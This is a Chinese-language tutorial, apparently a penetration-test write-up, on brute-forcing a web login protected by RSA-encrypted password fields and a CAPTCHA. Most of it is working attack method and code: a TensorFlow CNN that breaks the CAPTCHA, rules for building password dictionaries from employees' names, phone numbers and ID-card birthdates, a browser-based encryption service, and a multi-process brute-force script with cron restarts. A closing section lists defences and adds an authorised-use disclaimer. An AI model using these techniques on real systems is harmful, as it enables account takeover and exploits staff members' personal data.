如何“爆破检测”加密密码字段和存在验证码的Web系统
字数 1510 2025-08-18 11:37:28
Web系统加密密码字段与验证码的爆破检测技术详解
一、背景与目标
本文针对具有以下安全防护措施的Web系统进行弱口令检测:
- 密码字段前端加密(RSA加密)
- 验证码防护(含干扰效果)
- 无IP封禁机制(若有需结合代理池)
二、目标系统分析
2.1 登录请求示例
POST数据:
__RequestVerificationToken=RpPpYuKWa6ZLB9nhRI3nod04bal0nr9NCFktqA4uFCvVNI4ui10CLOf1oFFJBg2zh7QRIbB_CZziFYSBE7_mNuqr1N0l5LWu_r-oZSEWN501&
UserId=002333&
Password=uUNw1CgwVsOzE8fZBUUpvWaNGRyqVEeILR%2F2uepQA2tp2aRPHbJf5uj%2FF%2Bppp%2B8LTluHrcKPTSlSxvGQ0JTEBj%2FI8iNKO74a5PcdOgSM76I1o81zYP%2BWIdwEUuB78ISpJKzN1HemvYTlrOiWgZ93UjBV2tBtok6LniWcobQj5kE%3D&
ValidateCode=1111&
rememberMe=true&
loginType=CA&
CAPassword=
关键特征:
- Password字段为前端加密后的密文
- ValidateCode为验证码字段
三、验证码识别技术
3.1 传统方法尝试(失败)
使用pytesseract进行OCR识别,即使经过以下处理仍无法准确识别:
- 图像二值化
- 删除干扰线
- 灰度化处理
3.2 基于TensorFlow的深度学习方案
3.2.1 数据准备
- 收集200张验证码样本
- 手动标注(重命名图片文件为对应验证码)
- 图像预处理:
- 统一调整为60×160像素
- 灰度化处理
3.2.2 CNN模型构建
def crack_captcha_cnn(w_alpha=0.01, b_alpha=0.1):
# 输入层
x = tf.reshape(X, shape=[-1, IMAGE_HEIGHT, IMAGE_WIDTH, 1])
# 第一卷积层
w_c1 = tf.Variable(w_alpha * tf.random_normal([3, 3, 1, 32]))
b_c1 = tf.Variable(b_alpha * tf.random_normal([32]))
conv1 = tf.nn.relu(tf.nn.bias_add(tf.nn.conv2d(x, w_c1, strides=[1, 1, 1, 1], padding='SAME'), b_c1))
conv1 = tf.nn.max_pool(conv1, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME')
conv1 = tf.nn.dropout(conv1, keep_prob)
# 第二卷积层
w_c2 = tf.Variable(w_alpha * tf.random_normal([3, 3, 32, 64]))
b_c2 = tf.Variable(b_alpha * tf.random_normal([64]))
conv2 = tf.nn.relu(tf.nn.bias_add(tf.nn.conv2d(conv1, w_c2, strides=[1, 1, 1, 1], padding='SAME'), b_c2))
conv2 = tf.nn.max_pool(conv2, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME')
conv2 = tf.nn.dropout(conv2, keep_prob)
# 第三卷积层
w_c3 = tf.Variable(w_alpha * tf.random_normal([3, 3, 64, 64]))
b_c3 = tf.Variable(b_alpha * tf.random_normal([64]))
conv3 = tf.nn.relu(tf.nn.bias_add(tf.nn.conv2d(conv2, w_c3, strides=[1, 1, 1, 1], padding='SAME'), b_c3))
conv3 = tf.nn.max_pool(conv3, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME')
conv3 = tf.nn.dropout(conv3, keep_prob)
# 全连接层
w_d = tf.Variable(w_alpha * tf.random_normal([8 * 20 * 64, 1024]))
b_d = tf.Variable(b_alpha * tf.random_normal([1024]))
dense = tf.reshape(conv3, [-1, w_d.get_shape().as_list()[0]])
dense = tf.nn.relu(tf.add(tf.matmul(dense, w_d), b_d))
dense = tf.nn.dropout(dense, keep_prob)
# 输出层
w_out = tf.Variable(w_alpha * tf.random_normal([1024, MAX_CAPTCHA * CHAR_SET_LEN]))
b_out = tf.Variable(b_alpha * tf.random_normal([MAX_CAPTCHA * CHAR_SET_LEN]))
out = tf.add(tf.matmul(dense, w_out), b_out)
return out
3.2.3 模型训练
- 使用Adam优化器
- 学习率0.001
- 当准确率>99%时保存模型
- 训练时间约1.5小时
3.2.4 验证码识别
def crack_captcha(output, captcha_image):
saver = tf.train.Saver()
with tf.Session() as sess:
saver.restore(sess, tf.train.latest_checkpoint('.'))
predict = tf.argmax(tf.reshape(output, [-1, MAX_CAPTCHA, CHAR_SET_LEN]), 2)
text_list = sess.run(predict, feed_dict={X: [captcha_image], keep_prob: 1})
# 向量转文本处理...
return predict_text
识别准确率:约80-90%
四、弱口令字典生成
4.1 数据来源
- 员工姓名、身份证号、手机号、邮箱
- 公司名称
- 常见弱口令(top100)
4.2 信息处理规则
姓名处理:
- 凌星星 → lxx、Lxx、Lin、LIN、linxinxin
- 三字姓名取首字母+后两字拼音首字母
手机号处理:
- 完整号码:10000000086
- 后四位:0086
身份证出生日期处理:
- 19921228 → 19921228、9921228、1228
公司名处理:
- freebuf → freebuf、fb
4.3 密码组合规则
- 字母(姓名/公司) + 特殊字符(@#_-) + 数字(手机/生日)
- 字母 + 数字 + 特殊字符
- 字母 + 数字
排除规则:
- 不以数字开头
- 不以特殊字符开头
4.4 生成结果
- 每位员工生成约3000个密码组合
- 总字典量:60万+
五、加密密码字段处理
5.1 加密方式分析
- 使用JSEncrypt库进行RSA加密
- 公钥可通过浏览器控制台获取:
login.pubkey
5.2 加密解决方案
方案1:Python复现(失败)
def RSA_encode(pubkey, password):
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
import base64
rsakey = RSA.importKey(pubkey)
cipher = PKCS1_v1_5.new(rsakey)
cipher_text = base64.b64encode(cipher.encrypt(password))
return cipher_text
问题:服务器返回CryptographicException异常
方案2:PyV8执行JS(失败)
问题:无法加载DOM环境
方案3:Django服务方案(成功)
- 搭建Django服务
- 前端使用JSEncrypt加密
- 分批处理字典(因浏览器内存限制)
实现代码:
view.py:
def encode_pass(request):
with open("genPw/weakpass.txt") as f:
passlist = f.readlines()
return render(request, "layout.html",{'passlist':json.dumps(passlist)})
layout.html:
<script>
var publicKey = "-----BEGIN PUBLIC KEY-----...";
var encrypt = new JSEncrypt();
encrypt.setPublicKey(publicKey);
var passlist = {{ passlist|safe }};
for(i in passlist){
var arr = passlist[i].split('|');
var en_passtxt = encrypt.encrypt(arr[1]);
$.get("/getpass/",{enpass:arr[0]+'|'+en_passtxt+'|'+arr[1]});
}
</script>
六、爆破实施
6.1 登录流程分析
- 首次请求生成验证码(设置会话cookie)
- 提交登录POST请求(携带同一cookie)
6.2 响应类型
{"error":"验证码错误"}{"success":"/Default.aspx"}{"error":"用户名或密码错误"}{"error":"验证码失效"}(未先请求验证码)
6.3 多进程爆破实现
- 使用Selenium获取10个有效cookie
- 分割字典为10份
- 每个进程处理一部分字典
关键函数:
def brust_login(cookie):
wp = q.popleft()
try:
loginid, loginpass, wppass = wp.split('|')
verifycode = get_valcode(cookie) # 获取验证码
tiptxt = get_login_info(loginid, loginpass, cookie, verifycode)
# 结果处理...
except Exception,e:
print str(e)
6.4 稳定性优化
- TensorFlow长时间运行效率下降问题
- 解决方案:定时重启脚本
# run.sh
ps -ef|grep python|awk '{print $2}'|xargs kill -9
nohup python brust.py &
- crontab设置:
*/50 * * * * sh /root/run.sh
七、实战结果
- 测试200名员工
- 60万条密码尝试
- 爆破出30+弱口令
- 总耗时:5天
八、改进方向
- TensorFlow执行效率优化
- 浏览器JS执行持久化方案
- 分布式爆破架构
- 验证码识别模型优化
九、防御建议
- 增加IP封禁机制
- 验证码增加动态干扰
- 密码错误次数限制
- 多因素认证
注:本文所述技术仅限授权安全测试使用,未经授权进行测试属违法行为。